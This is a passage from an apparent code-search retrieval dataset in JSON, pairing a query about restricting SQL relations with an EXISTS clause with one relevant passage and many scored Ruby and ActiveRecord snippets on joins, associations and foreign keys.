"score": "0.5945229",
"text": "def failures; end",
"title": ""
},
{
"docid": "998a325d9d8e25bf1a5f6187120ed11a",
"score": "0.5945229",
"text": "def failures; end",
"title": ""
},
{
"docid": "998a325d9d8e25bf1a5f6187120ed11a",
"score": "0.5945229",
"text": "def failures; end",
"title": ""
},
{
"docid": "998a325d9d8e25bf1a5f6187120ed11a",
"score": "0.5945229",
"text": "def failures; end",
"title": ""
},
{
"docid": "998a325d9d8e25bf1a5f6187120ed11a",
"score": "0.5945229",
"text": "def failures; end",
"title": ""
},
{
"docid": "998a325d9d8e25bf1a5f6187120ed11a",
"score": "0.5945229",
"text": "def failures; end",
"title": ""
},
{
"docid": "998a325d9d8e25bf1a5f6187120ed11a",
"score": "0.5945229",
"text": "def failures; end",
"title": ""
},
{
"docid": "998a325d9d8e25bf1a5f6187120ed11a",
"score": "0.5945229",
"text": "def failures; end",
"title": ""
},
{
"docid": "998a325d9d8e25bf1a5f6187120ed11a",
"score": "0.5945229",
"text": "def failures; end",
"title": ""
},
{
"docid": "7db0727baf89eb76beac27c515d7fe32",
"score": "0.5942951",
"text": "def support; end",
"title": ""
},
{
"docid": "e66c3e6966b775d1799a6b8fed500121",
"score": "0.59404075",
"text": "def check()\n #This is a stub, used for indexing\n end",
"title": ""
},
{
"docid": "58e2e07d11b107b6864a328f2187e248",
"score": "0.5928143",
"text": "def apop?; end",
"title": ""
},
{
"docid": "5a8d20cfa19c8f0f1093c48065c1412c",
"score": "0.5927356",
"text": "def test\n \n end",
"title": ""
},
{
"docid": "5a8d20cfa19c8f0f1093c48065c1412c",
"score": "0.5927356",
"text": "def test\n \n end",
"title": ""
},
{
"docid": "92e7871a59de07150a4a4a4ac22e985b",
"score": "0.59198105",
"text": "def tests\n raise \"Not implemented\"\n end",
"title": ""
},
{
"docid": "186f31a7ef2ea36aee5dfae13c8c9f3e",
"score": "0.5915932",
"text": "def test(entry)\n end",
"title": ""
},
{
"docid": "5928f8efe9c6c2d408ea21a4cdce83ad",
"score": "0.59117055",
"text": "def preliminary?; end",
"title": ""
},
{
"docid": "b823896426fa9e124bc39ae21f832038",
"score": "0.5908462",
"text": "def test_empty\n end",
"title": ""
}
] |
19331d17399b741f9aa4726352f89123 | Restrict with rows from another relation. Accepts only SQL relations and uses the EXISTS clause under the hood | [
{
"docid": "399d3b0db958e000fc175dd2b70731f5",
"score": "0.6338821",
"text": "def exists(other, condition = nil)\n join_condition = condition || associations[other.name].join_keys\n where(other.where(join_condition).dataset.exists)\n end",
"title": ""
}
] | [
{
"docid": "db05d71c67eaac0e7f35be79a301dd29",
"score": "0.60512894",
"text": "def having_rel(association_name, rel_properties = {})\n association = association_or_fail(association_name)\n where(\"(#{identity})#{association.arrow_cypher(nil, rel_properties)}()\")\n end",
"title": ""
},
{
"docid": "57651ecc80a9b10635c131605448fd59",
"score": "0.5994094",
"text": "def excluded_relation?(relation)\n @relations.include?(relation)\n end",
"title": ""
},
{
"docid": "46a40a799133159a53ab22684d903806",
"score": "0.5948032",
"text": "def can_subset_from?\n @to_table.primary_key == @other_column\n end",
"title": ""
},
{
"docid": "a30e5abd8d441c1294d5cd1c18200ea7",
"score": "0.5762231",
"text": "def contains(b, ini=nil)\n ContainsRelation.new(self.class.to_s, self.object_id, b.class.to_s, b.object_id, ini)\n # falta finalizar relacion anterior si la hay\n end",
"title": ""
},
{
"docid": "303862766b51922bebc257a94bd2e6ff",
"score": "0.57528895",
"text": "def pacticipant_is_unreferenced(pacticipant_id, table_foreign_keys)\n table_foreign_keys.any? do | (table_name, foreign_keys) |\n criteria = foreign_keys.flat_map do | fk |\n fk[:columns].collect do | column_name |\n { column_name => pacticipant_id }\n end\n end\n\n # SELECT 'one' FROM xxx where consumer_id = x or provider_id = x LIMIT 1\n !from(table_name).where(Sequel.|(*criteria)).empty?\n end\nend",
"title": ""
},
{
"docid": "67131b14cb29a926ccf0a6fee1102a15",
"score": "0.5717005",
"text": "def relationship_exists(other_user_id)\r\n sql = <<-END_OF_STRING\r\n SELECT * FROM user_contacts WHERE user_id = ? AND contact_id = ?\r\n END_OF_STRING\r\n\r\n array = User.find_by_sql([sql, self.id, other_user_id])\r\n\r\n if array.length > 0\r\n return true\r\n else\r\n return false\r\n end\r\n end",
"title": ""
},
{
"docid": "69d5d8c4fd3d4144a4452876b83e73c1",
"score": "0.5707804",
"text": "def filter(relation)\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "4336ca9f0f57fd8baf457d41ed5d5565",
"score": "0.57029873",
"text": "def relation_query?(obj)\n !obj.nil? && obj.respond_to?(:ancestors) && \\\n obj.ancestors.include?(ActiveRecord::Base)\n end",
"title": ""
},
{
"docid": "4336ca9f0f57fd8baf457d41ed5d5565",
"score": "0.57029873",
"text": "def relation_query?(obj)\n !obj.nil? && obj.respond_to?(:ancestors) && \\\n obj.ancestors.include?(ActiveRecord::Base)\n end",
"title": ""
},
{
"docid": "3c4a1eebea40ae06becd2661ce0ee90d",
"score": "0.569858",
"text": "def include?(name)\n !! @relation_set.child(name)\n end",
"title": ""
},
{
"docid": "f93defe4aa0db18b289ca6cf177c8612",
"score": "0.5654694",
"text": "def has_a_relation(name, opts = {})\n defaults = {\n }\n options = defaults.merge(opts)\n\n # Use a proc to avoid classes not yet loaded being referenced\n get_relation_class = lambda do\n if options[:relation_class].nil?\n relation_class = options[:class]\n if relation_class.nil?\n cn = name.to_s.camelize\n if options[:type] == :one_2_many\n cn = cn[0, (name.to_s.size - 1)]\n end\n relation_class = Kernel.const_get(cn)\n elsif relation_class.is_a?(String)\n relation_class = relation_class.split('::').inject(Kernel) { |scope, const_name| scope.const_get(const_name) }\n end\n options[:relation_class] = relation_class\n end\n options[:relation_class]\n end\n\n cql_record_relations[name] = options\n\n opts[:foreign_key] = opts[:foreign_key].is_a?(Array) ? opts[:foreign_key] : [opts[:foreign_key]]\n opts[:key] = opts[:key].is_a?(Array) ? opts[:key] : [opts[:key]]\n\n raise \"key and foreign_key must have same number of items\" if opts[:key].size != opts[:foreign_key].size\n\n self.redefine_method(name) do |reload = false|\n relation_class = get_relation_class.call\n\n q = relation_class.scoped\n opts[:foreign_key].each_with_index do |fk, index|\n key = opts[:key][index]\n q = q.where(fk => self.send(key))\n end\n if options[:filter]\n q = self.instance_exec(q, &(options[:filter]))\n unless q\n er = EmptyResult.new(:record_class => relation_class)\n er.extend(CollectionMethods)\n er.extend(::Believer::FinderMethods)\n return er\n end\n end\n return q.first if options[:type] == :one_2_one\n\n col = Collection.new(q.query_attributes)\n col.to_a if reload\n col\n end\n\n end",
"title": ""
},
{
"docid": "c117a866f0d89ce2ef49efe21df680dc",
"score": "0.55872536",
"text": "def pg_array_to_many_association_filter_expression(op, ref, obj)\n key = ref.qualify(model.table_name, ref[:key_column])\n expr = case obj\n when Sequel::Model\n if pkv = obj.get_column_value(ref.primary_key_method)\n Sequel.pg_array_op(key).contains(Sequel.pg_array([pkv], ref.array_type))\n end\n when Array\n if (pkvs = obj.map{|o| o.get_column_value(ref.primary_key_method)}.compact) && !pkvs.empty?\n Sequel.pg_array(key).overlaps(Sequel.pg_array(pkvs, ref.array_type))\n end\n when Sequel::Dataset\n Sequel.function(:coalesce, Sequel.pg_array_op(key).overlaps(obj.select{array_agg(ref.qualify(obj.model.table_name, ref.primary_key))}), Sequel::SQL::Constants::FALSE)\n end\n expr = Sequel::SQL::Constants::FALSE unless expr\n expr = add_association_filter_conditions(ref, obj, expr)\n association_filter_handle_inversion(op, expr, [key])\n end",
"title": ""
},
{
"docid": "d921fd1339ac819f89c1ab592299942f",
"score": "0.5549035",
"text": "def subset?(relation)\n self.eql?(relation) || subsets.any? { |subrel| subrel.subset?(relation) }\n end",
"title": ""
},
{
"docid": "007107551787b6e6768b77b77ec155d7",
"score": "0.55303556",
"text": "def not_having_rel(association_name, rel_properties = {})\n association = association_or_fail(association_name)\n where_not(\"(#{identity})#{association.arrow_cypher(nil, rel_properties)}()\")\n end",
"title": ""
},
{
"docid": "9b55ca9d32fe96a564981e915a35204c",
"score": "0.5522451",
"text": "def construct_relation_for_exists(conditions)\n return super unless klass.connection.adapter_name == \"SQLServer\"\n\n conditions = sanitize_forbidden_attributes(conditions)\n\n if distinct_value && offset_value\n if select_values.present?\n relation = order(*select_values).limit!(1)\n else\n relation = except(:order).limit!(1)\n end\n else\n relation = except(:select, :distinct, :order)._select!(::ActiveRecord::FinderMethods::ONE_AS_ONE).limit!(1)\n end\n\n case conditions\n when Array, Hash\n relation.where!(conditions) unless conditions.empty?\n else\n relation.where!(primary_key => conditions) unless conditions == :none\n end\n\n relation\n end",
"title": ""
},
{
"docid": "21a34e288d1ec6b50917567eff6d74b5",
"score": "0.54979634",
"text": "def relation\n orm_class.use_cursor\n .exclude(internal_resource: [FileSet, PreservationObject, DeletionMarker, Event, EphemeraTerm].map(&:to_s))\n .exclude(Sequel[:metadata].pg_jsonb.contains(cached_parent_id: [{}]))\n .lazy\n end",
"title": ""
},
{
"docid": "5fd46c23c60ed1df0d6967b4b33ec772",
"score": "0.5491081",
"text": "def contains_rel?(rel)\n @relationship_set.contains(rel.getId)\n end",
"title": ""
},
{
"docid": "2ab6dc2ce7f939ed19c46d1aa0011e9d",
"score": "0.547251",
"text": "def related_to? some_object\n !!relation(some_object)\n end",
"title": ""
},
{
"docid": "06d3b55169ee16873b665d67975d327e",
"score": "0.5472075",
"text": "def specific_user_clause_if_set(relation)\n #F I X M E security\n #TODO rename to user_uuid?\n if uuid = params.dig(:user_uuid)\n return relation if uuid.blank?\n\n user = User.find_by_uuid(uuid)\n relation.where(user_id: user.id)\n else\n relation\n end\n end",
"title": ""
},
{
"docid": "937c0cf3d8e4e2cbd87603cf73042358",
"score": "0.5460698",
"text": "def check_inverses!(doc)\n inverses = metadata.inverses(doc)\n if inverses.count > 1 && base.send(metadata.foreign_key).nil?\n raise Errors::InvalidSetPolymorphicRelation.new(\n metadata.name, base.class.name, target.class.name\n )\n end\n end",
"title": ""
},
{
"docid": "8a0bb3ea9e39581ce121da0522ece36d",
"score": "0.5449229",
"text": "def exist(reflection, assoc_scope)\n association = Association.for(reflection, assoc_scope)\n association.scope.where(arel_table.grouping(association.foreign_key.eq(arel_table[primary_key]))).arel.exists\n end",
"title": ""
},
{
"docid": "8d62a3124541676d30e8df685a5a7e1b",
"score": "0.5420864",
"text": "def can_have_associated_objects?(obj)\n obj.get_column_value(self[:primary_key])\n end",
"title": ""
},
{
"docid": "c07042f55bc8dc3c052e8400a2fef24e",
"score": "0.5414283",
"text": "def in_query_with_limit(limit)\n in_query = Arel::SelectManager.new\n in_query.from(quoted_table_name)\n in_query.where(arel_table[loose_foreign_key_definition.column].in(deleted_parent_records.map(&:primary_key_value)))\n in_query.projections = primary_keys\n in_query.take(limit)\n in_query.lock(Arel.sql('FOR UPDATE SKIP LOCKED')) if with_skip_locked\n in_query\n end",
"title": ""
},
{
"docid": "9ab52b251837fe7184767affdc900913",
"score": "0.5373147",
"text": "def check_relations\n accounts.empty? && inventories.empty?\n end",
"title": ""
},
{
"docid": "f35f2cfd5865d1935bc42166f849ad2a",
"score": "0.53562546",
"text": "def lookup_relation\n self.class.unscoped.where(attributes.except(*aggregated_behaviour_non_content_columns))\n end",
"title": ""
},
{
"docid": "eb8b531d8d5016cf9d8935eac2ee996a",
"score": "0.5334482",
"text": "def exists?(*args)\n return super unless protector_subject?\n protector_relation.unrestrict!.exists?(*args)\n end",
"title": ""
},
{
"docid": "6d95c3a9ca0b0980fd8a40b340001c03",
"score": "0.5334205",
"text": "def is_relation_scopeable?(expression)\n filters_enabled\n end",
"title": ""
},
{
"docid": "871db78dde3eb3571949d189abfce7cb",
"score": "0.53220963",
"text": "def belongs_to_with_a_matching_fk?(param0 = T.unsafe(nil), param1); end",
"title": ""
},
{
"docid": "c8d7bb4d594c32d20efb5ddf5ff24a1d",
"score": "0.5297671",
"text": "def merge(other_relation)\n super.scope_categories_satisfied(satisfied_scope_categories | other_relation.satisfied_scope_categories)\n end",
"title": ""
},
{
"docid": "d5d3ed06e5dde83d496b19b9271de421",
"score": "0.52810895",
"text": "def add_relationship(predicate, target, literal=false)\n return if self == target\n super\n end",
"title": ""
},
{
"docid": "d5d3ed06e5dde83d496b19b9271de421",
"score": "0.52810895",
"text": "def add_relationship(predicate, target, literal=false)\n return if self == target\n super\n end",
"title": ""
},
{
"docid": "355e06f51dcc021e79f9b78176f65a55",
"score": "0.52742964",
"text": "def sql_by_has_many_normal_reflection\n \"#{quoted_parent_table_name}.#{parent_primary_key} \" + \\\n \"IN (SELECT #{quoted_table_name}.#{primary_key_name} \" + \\\n \"FROM #{table_name} #{quoted_table_name} WHERE #{sql_conditions_sum})\"\n end",
"title": ""
},
{
"docid": "04f40194bd4970e08fff4b83d6a98db4",
"score": "0.5259025",
"text": "def can_have_associated_objects?(obj)\n v = obj.get_column_value(self[:key])\n v && !v.empty?\n end",
"title": ""
},
{
"docid": "3ccdf87a9b712d1f095982632a176b25",
"score": "0.5258637",
"text": "def restrict_scope_to_selected_objects(relation)\n return relation if params[:select_all_pages] == \"1\" || params[:selected].nil?\n relation.where(id: params[:selected].keys)\n end",
"title": ""
},
{
"docid": "1d6ea4505ae59cba027da6c6ab35b545",
"score": "0.5252306",
"text": "def references_other_tables?(conditions_sql)\n conditions_tables = tables_in_string(conditions_sql)\n conditions_tables.size > 1 || conditions_tables.first != self.table_name\n end",
"title": ""
},
{
"docid": "2116bccf9b0c6110d6353d81479a725e",
"score": "0.52403975",
"text": "def p_include(other)\n other && \"LEFT JOIN #{other} AS parent ON (\"\\\n \"#{@table}.#{other.to_s.chop}_id = parent.id) \"\n end",
"title": ""
},
{
"docid": "70c04472fbb5eb0678db730c478489b0",
"score": "0.52349365",
"text": "def any_belongs_to?(param0 = T.unsafe(nil), association:); end",
"title": ""
},
{
"docid": "a65c50fd09e526638c3348f0fa45001e",
"score": "0.52340263",
"text": "def relation(relation)\n true\n end",
"title": ""
},
{
"docid": "e6c87a525851b7cce6c32851fb8af18b",
"score": "0.520994",
"text": "def and(other)\n if other.is_a?(Relation)\n spawn.and!(other)\n else\n raise ArgumentError, \"You have passed #{other.class.name} object to #and. Pass an ActiveRecord::Relation object instead.\"\n end\n end",
"title": ""
},
{
"docid": "1db0c94694ee579d6bfe421756503bef",
"score": "0.5198501",
"text": "def build_exists(result_table, filter_table, filter = nil, opts = {}, is_negated = false)\n validate_table(result_table)\n validate_table(filter_table)\n\n validate_node_or_attribute(filter) unless filter.blank?\n validate_hash(opts) unless opts.blank?\n\n result_table_name = result_table.name.to_s\n result_table_id = opts[:result_table_id] || :id\n\n filter_table_name = filter_table.name.to_s\n filter_table_id = opts[:filter_table_id] || :id\n\n many_table = opts[:many_table] || Arel::Table.new([result_table_name, filter_table_name].sort.join('_').to_sym)\n many_table_result_id = opts[:many_table_result_id] || \"#{result_table_name.singularize}_id\".to_sym\n many_table_filter_id = opts[:many_table_filter_id] || \"#{filter_table_name.singularize}_id\".to_sym\n\n # e.g. - build_exists(Site.arel_table, Project.arel_table)\n\n # SELECT s.*\n # FROM sites s\n # WHERE [NOT] EXISTS (\n # SELECT p.*\n # FROM projects p\n # INNER JOIN projects_sites ps ON p.id = ps.project_id\n # WHERE ps.site_id = s.id\n # AND (*filter*)\n # )\n\n # SELECT\n # FROM \"sites\"\n # WHERE EXISTS (\n # SELECT 1\n # FROM \"projects\"\n # INNER JOIN \"projects_sites\" ON \"projects\".\"id\" = \"projects_sites\".\"project_id\"\n # WHERE \"projects_sites\".\"site_id\" = \"sites\".\"id\"\n # )\n\n # SELECT\n # FROM \"sites\"\n # WHERE NOT (\n # EXISTS (\n # SELECT 1\n # FROM \"projects\"\n # INNER JOIN \"projects_sites\" ON \"projects\".\"id\" = \"projects_sites\".\"project_id\"\n # WHERE \"projects_sites\".\"site_id\" = \"sites\".\"id\"\n # )\n # )\n\n query = filter_table\n .join(many_table).on(filter_table[filter_table_id].eq(many_table[many_table_filter_id]))\n .where(many_table[many_table_result_id].eq(result_table[result_table_id]))\n\n query = query.where(filter) if filter\n\n query = query.project(1).exists\n\n query = query.not if is_negated\n\n result_table.where(query)\n end",
"title": ""
},
{
"docid": "fc46cc150aba3771c57dbecbb9c659e3",
"score": "0.51913464",
"text": "def relation_enabled?(relation)\n @enabled_relations.include?(relation)\n end",
"title": ""
},
{
"docid": "0403b46a4d91ab037e582238973d9aa4",
"score": "0.5182487",
"text": "def scope_from_relation\n all.proxy_association.owner if all.respond_to?(:proxy_association)\n end",
"title": ""
},
{
"docid": "912b3c02e20a1aefcbc0d77aa6a46ac3",
"score": "0.51805866",
"text": "def has_many(association_id, options = {}, &extension)\n if options.key?(:through)\n conditions = \"#{options[:through].to_s.pluralize}.#{destroyed_field} #{is_or_equals_not_destroyed}\"\n options[:conditions] = \"(\" + [options[:conditions], conditions].compact.join(\") AND (\") + \")\"\n end\n super\n end",
"title": ""
},
{
"docid": "ebf1b4a852babc9d967bd57ffb046d09",
"score": "0.51704013",
"text": "def if_no_special_parameter_or_filtering_is_set_clause(relation)\n return relation if params.dig(:user_uuid).present?\n return relation if params.dig(:mentor_user_uuid).present?\n return relation if params.dig(:leaderbit_id).present?\n\n #TODO add missing scope check - whether \"My Team X\" has been selected in Engagement screen\n\n relation_by_role = if current_user.system_admin? || LeaderbitEmployeeMentorship.where(mentor_user: current_user).exists?\n relation.all\n #NOTE: you don't need to think about use cases like(employee-mentor & also part of a team(as of May 2019 team name was *The cool kids 2*)\n # we handled that use case by assigning everyone in that team has employee-mentors who are also from that team\n # @see 20190528161849 migration\n #elsif LeaderbitEmployeeMentorship.where(mentor_user: current_user).exists?\n # relation.where(\"entry_groups.user_id IN (SELECT mentee_user_id FROM leaderbit_employee_mentorships WHERE mentor_user_id = ?)\", current_user.id)\n elsif current_user.c_level?\n relation.where(\"entry_groups.user_id IN (SELECT id FROM users WHERE organization_id = ?)\", current_user.organization_id)\n else\n relation.visible_in_my_teams(current_user)\n .where('entry_groups.id IN(SELECT entry_group_id FROM entries WHERE visible_to_my_peers IS TRUE AND discarded_at IS NULL)')\n end\n\n query = <<-SQL.squish\n user_id IN(SELECT mentee_user_id FROM organizational_mentorships WHERE mentor_user_id = ?)\n OR user_id IN(SELECT mentor_user_id FROM organizational_mentorships WHERE mentee_user_id = ?)\n SQL\n\n relation_by_role\n .or(EntryGroup.where('entry_groups.id IN(SELECT entry_group_id FROM entries WHERE discarded_at IS NULL)').where('user_id = ?', current_user.id).joins(:user))\n .or(EntryGroup.where('entry_groups.id IN(SELECT entry_group_id FROM entries WHERE discarded_at IS NULL)').where(query, current_user.id, current_user.id).joins(:user))\n .includes(:leaderbit, entries: [:user, replies: { user: :organization }], user: %i[organization schedule])\n end",
"title": ""
},
{
"docid": "6f88e2c7af5e3fd202aa299753445051",
"score": "0.5165438",
"text": "def foreign_key_exists?(from_table, to_table = T.unsafe(nil), **options); end",
"title": ""
},
{
"docid": "c7d60a86c6a2c0fb2463d901abde38ff",
"score": "0.51516664",
"text": "def criteria\n if metadata.inverse\n metadata.klass.any_in(metadata.inverse_foreign_key => [ base.id ])\n else\n metadata.klass.where(:_id => { \"$in\" => base.send(metadata.foreign_key) })\n end\n end",
"title": ""
},
{
"docid": "e73c4cd9c2feddaef9db2ce0aa420417",
"score": "0.5145361",
"text": "def validate_related(*args)\n Validation.add_validation(validation_rules!, \"Null relation\", *args) do |obj, field|\n relations = obj.send(field).load_members\n relations.length == 0 or relations.inject(true) do |memo, relation|\n memo and !relation.nil? and relation.valid?\n end\n end\n end",
"title": ""
},
{
"docid": "b467ba1d442a0bb83709010a2baf1784",
"score": "0.5140508",
"text": "def exists?(table_or_query, subtuple = {})\n Kernel.raise NotImplementedError\n end",
"title": ""
},
{
"docid": "ac0bac34ce55e4777dff286f1ab8b388",
"score": "0.5134016",
"text": "def include?(record)\n !!proxy_association.include?(record)\n end",
"title": ""
},
{
"docid": "e9cf43248d212a287a203f7e03d205d8",
"score": "0.5133007",
"text": "def records_for(ids, &block)\n return super unless connected_through_array?\n condition = scope.arel_table[association_key_name]\n condition = reflection.build_id_constraint(condition, ids.flatten.uniq)\n scope.where(condition).load(&block)\n end",
"title": ""
},
{
"docid": "9dba0ffae29d0e9dbcfa83f000d17d9e",
"score": "0.51317996",
"text": "def guests #=> dc.guests => [robin obj, andrew obj]\n Trip.all.select do |relation|\n relation.listing == self end\nend",
"title": ""
},
{
"docid": "002b86bfd68028513b54e4967fee4d9f",
"score": "0.51252353",
"text": "def relation\n @conditions ||= begin\n filter_params.each_with_object(model.all) do |(attr, val), result|\n if attr.present? && val.present?\n query = query_for(attr, val)\n result.merge!(query) unless query.nil? # query.present? triggers a db call.\n end\n end\n end\n end",
"title": ""
},
{
"docid": "15501ce8f3748019b4bf63e7737477d7",
"score": "0.5119811",
"text": "def for_rel_where_clause(arg, _, association)\n arg.each_with_object([]) do |(key, value), result|\n rel_class = association.relationship_class if association.relationship_class\n val = rel_class ? converted_value(rel_class, key, value) : value\n result << new(:where, ->(_, rel_var) { {rel_var => {key => val}} })\n end\n end",
"title": ""
},
{
"docid": "c423fffc5c496299af3af4148f91edba",
"score": "0.51095134",
"text": "def check_validity_with_nested_through!\n check_validity_without_nested_through!\n rescue ActiveRecord::HasManyThroughSourceAssociationMacroError => e\n raise e unless source_through?\n end",
"title": ""
},
{
"docid": "dd4cbfcc9e81674addccaba59b2d10bd",
"score": "0.5108738",
"text": "def query(rows)\n ids = rows.map { |row|\n begin\n row.send @ref.foreign_key\n rescue NoMethodError => e\n raise MissingColumnError.new(row, e.name)\n end\n }.compact.uniq\n yield base_scope.where(@ref.active_record_primary_key => ids) if ids.any?\n end",
"title": ""
},
{
"docid": "e82586251b3ea347ba510a8da5985191",
"score": "0.51010054",
"text": "def check_polymorphic_inverses!(doc)\n inverses = _association.inverses(doc)\n if inverses.length > 1 && _base.send(_association.foreign_key).nil?\n raise Errors::InvalidSetPolymorphicRelation.new(\n _association.name, _base.class.name, _target.class.name\n )\n end\n end",
"title": ""
},
{
"docid": "8cd1200233095a21789b753d772ee7be",
"score": "0.5093544",
"text": "def records_for(ids, &block)\n return super unless connected_through_array?\n condition = scope.arel_attribute(association_key_name)\n condition = reflection.build_id_constraint(condition, ids.flatten.uniq)\n scope.where(condition).load(&block)\n end",
"title": ""
},
{
"docid": "151e3364b07563999e2bb0048785a725",
"score": "0.5090303",
"text": "def include_relations(*args)\n include_relation(*args)\n end",
"title": ""
},
{
"docid": "06f778f2651d72bdb30df02807fa35ae",
"score": "0.5089366",
"text": "def filter_relation(relation)\n # This checks that the relation has all fields required for authorization,\n # and adds them in if not. The developer was probably trying to optimize the\n # query, and we can adjust it a bit to get what we need for authorization.\n # So we do that and continue.\n if relation.klass == Student\n relation_with_required_fields = relation.select(*Authorizer.student_fields_for_authorization)\n filter_array(relation_with_required_fields.to_a)\n else\n filter_array(relation.to_a)\n end\n end",
"title": ""
},
{
"docid": "6e5a85b38876056b51caea272c62d78f",
"score": "0.50893265",
"text": "def related_to(other)\n self.works.include?(other)\n end",
"title": ""
},
{
"docid": "d0af8fc6a05e51115226f71df54a9200",
"score": "0.5080666",
"text": "def c_include(other)\n other && \"LEFT JOIN #{other} AS child ON (\"\\\n \"#{@table}.id = child.#{@table.chop}_id) \"\n end",
"title": ""
},
{
"docid": "5b1d2766c5fea0c32fd5829cc93d4a78",
"score": "0.5080425",
"text": "def cpk_exists_subquery(stmt)\n arel_attributes = primary_keys.map do |key|\n table[key]\n end.to_composite_keys\n\n # Clone the query\n subselect = arel.clone\n\n # Alias the table - we assume just one table\n aliased_table = subselect.froms.first\n aliased_table.table_alias = \"cpk_child\"\n\n # Project - really we could just set this to \"1\"\n subselect.projections = arel_attributes\n\n # Setup correlation to the outer query via where clauses\n primary_keys.map do |key|\n outer_attribute = arel_table[key]\n inner_attribute = aliased_table[key]\n where = outer_attribute.eq(inner_attribute)\n subselect.where(where)\n end\n stmt.wheres = [Arel::Nodes::Exists.new(subselect)]\n end",
"title": ""
},
{
"docid": "51e744e46b562c31a7c91c57fe668b83",
"score": "0.50790834",
"text": "def use_eager_loading_sql?(options)# :nodoc:\n include_associations = merge_includes(scope(:find, :include), options[:include])\n return ((include_associations.any?) &&\n (options[:force_eager_load].is_a?(TrueClass) ||\n references_eager_loaded_tables?(options)))\n end",
"title": ""
},
{
"docid": "718e44af2ffa9e93d6394a46f24c0c46",
"score": "0.5077233",
"text": "def join_with_condition_ar\n Actor.joins('inner join film_actor on film_actor.actor_id = actor.actor_id and actor.actor_id > 10')\nend",
"title": ""
},
{
"docid": "611d385f3d8973d73ff06f6df59318cc",
"score": "0.5064466",
"text": "def supports_modifying_joins?\n false\n end",
"title": ""
},
{
"docid": "611d385f3d8973d73ff06f6df59318cc",
"score": "0.5064466",
"text": "def supports_modifying_joins?\n false\n end",
"title": ""
},
{
"docid": "3ba7cea06c825eca2cf74ebabb92eb0f",
"score": "0.50383025",
"text": "def filter_relation(relation)\n nil\n end",
"title": ""
},
{
"docid": "49d2a11bcc12651ad8d2d901f76bbd8f",
"score": "0.50321203",
"text": "def search_join_table_conjunct(reflection, ids)\n execute_sql(<<-SQL, ids: ids, num: ids.length).map(&:first)\n SELECT join_table.#{reflection.foreign_key}, COUNT(*) AS num\n FROM #{reflection.options[:join_table]} AS join_table\n WHERE join_table.#{reflection.association_foreign_key} IN (:ids)\n GROUP BY join_table.#{reflection.foreign_key}\n HAVING num >= :num\n SQL\n end",
"title": ""
},
{
"docid": "6e95a1dc7a360ee935ecc1b6fb3ba4df",
"score": "0.503051",
"text": "def supports_modifying_joins?\n true\n end",
"title": ""
},
{
"docid": "28b55aaf2ed22ddaf31731107531e950",
"score": "0.5029187",
"text": "def include?(other)\n other.to_set.subset?(self.to_set)\n end",
"title": ""
},
{
"docid": "8fa454e269bd3f694bac8ef58478de2a",
"score": "0.5026651",
"text": "def id_present?(table, other)\n return false if (table.nil? or other.nil?)\n return table.any?{|t| other.any?(t)}\nend",
"title": ""
},
{
"docid": "b952e190ceb1d9169a0a81c7d366d9d0",
"score": "0.5023677",
"text": "def unique_nodes(association, self_identifer, other_node, other_rel, ids = [])\n fail 'Only supported by in QueryProxy chains started by an instance' unless source_object\n return false if send(association.name).empty?\n unique_nodes_query(association, self_identifer, other_node, other_rel, ids)\n .proxy_as(association.target_class, other_node)\n end",
"title": ""
},
{
"docid": "98c2d1a0bbc5d143de4bde2c4162c89c",
"score": "0.5021354",
"text": "def allowed_relations\n return if @valid_relations\n\n allowed_rels =\n owner.relations.allowing('read', 'activity') + \n Relation::Single.allowing('read', 'activity')\n\n not_allowed_ids = relation_ids - allowed_rels.map(&:id)\n\n if not_allowed_ids.any?\n errors.add(:relation_ids, \"not allowed: #{ not_allowed_ids }, author_id: #{ author_id }, owner_id: #{ owner_id }\")\n end\n end",
"title": ""
},
{
"docid": "27fd8cecaa17c275c5a01d0bb0a71d3b",
"score": "0.5019602",
"text": "def has_relations\n return @payload.path_exists(\"relation\")\n end",
"title": ""
},
{
"docid": "315f59849b3be9210e21dad9e004d8a9",
"score": "0.50120133",
"text": "def exclude_self(relation, excluded: self)\n relation.id_not_in(excluded.id)\n end",
"title": ""
},
{
"docid": "dc92e067172d449c4e642ef41e58bb97",
"score": "0.499751",
"text": "def query(rows)\n return if rows.empty?\n ids = rows.map { |row|\n begin\n row.send @ref.active_record_primary_key\n rescue NoMethodError => e\n raise MissingColumnError.new(row, e.name)\n end\n }.compact.uniq\n q = base_scope.where(@ref.foreign_key => ids)\n q.where!(@ref.type => rows[0].class&.model_name) if @ref.options[:as]\n yield ids.any? ? q : nil\n end",
"title": ""
},
{
"docid": "0b06951bdea304b7216bab96f5e2f298",
"score": "0.49884233",
"text": "def eager_load(docs)\n criteria.inclusions.reject! do |metadata|\n unless docs.empty?\n parent_ids = docs.map(&:id)\n if metadata.macro == :referenced_in\n child_ids = load_ids(metadata.foreign_key)\n metadata.eager_load(child_ids)\n else\n metadata.eager_load(parent_ids)\n end\n end\n end\n end",
"title": ""
},
{
"docid": "e060da0d2fa4a03aeb0e9401a561d8c3",
"score": "0.49855438",
"text": "def shared?\n Role.filter({residential_contact_id: id, mailing_contact_id: id}.sql_or).select(:person_id).distinct.count > 1\n end",
"title": ""
},
{
"docid": "d7989be7fbe68b4299dc640a89212332",
"score": "0.4984726",
"text": "def related_to?(user)\n relatives.include?(user)\n end",
"title": ""
},
{
"docid": "aaebc40c33144d55b22fd4677d70aa7d",
"score": "0.49822628",
"text": "def hasAssociatedHasMany(prop)\n prop.hasOne.properties.each do |other_prop|\n next unless other_prop == prop.reference_key\n raise MellError, \"Referenced objects mismatch between #{prop.cannonical_id} and #{other_prop.cannonical_id} \" unless other.hasMany == prop._parent._parent\n return true\n end\n return false\nend",
"title": ""
},
{
"docid": "f8ed5bb08bcc3d53060ce16c6d9c16eb",
"score": "0.4977038",
"text": "def many_to_pg_array_association_filter_expression(op, ref, obj)\n pk = ref.qualify(model.table_name, ref.primary_key)\n key = ref[:key]\n expr = case obj\n when Sequel::Model\n if (assoc_pks = obj.get_column_value(key)) && !assoc_pks.empty?\n Sequel[pk=>assoc_pks.to_a]\n end\n when Array\n if (assoc_pks = obj.map{|o| o.get_column_value(key)}.flatten.compact.uniq) && !assoc_pks.empty?\n Sequel[pk=>assoc_pks]\n end\n when Sequel::Dataset\n Sequel[pk=>obj.select{Sequel.pg_array_op(ref.qualify(obj.model.table_name, ref[:key_column])).unnest}]\n end\n expr = Sequel::SQL::Constants::FALSE unless expr\n expr = add_association_filter_conditions(ref, obj, expr)\n association_filter_handle_inversion(op, expr, [pk])\n end",
"title": ""
},
{
"docid": "401ed9870da47860decc7941627ec094",
"score": "0.49661204",
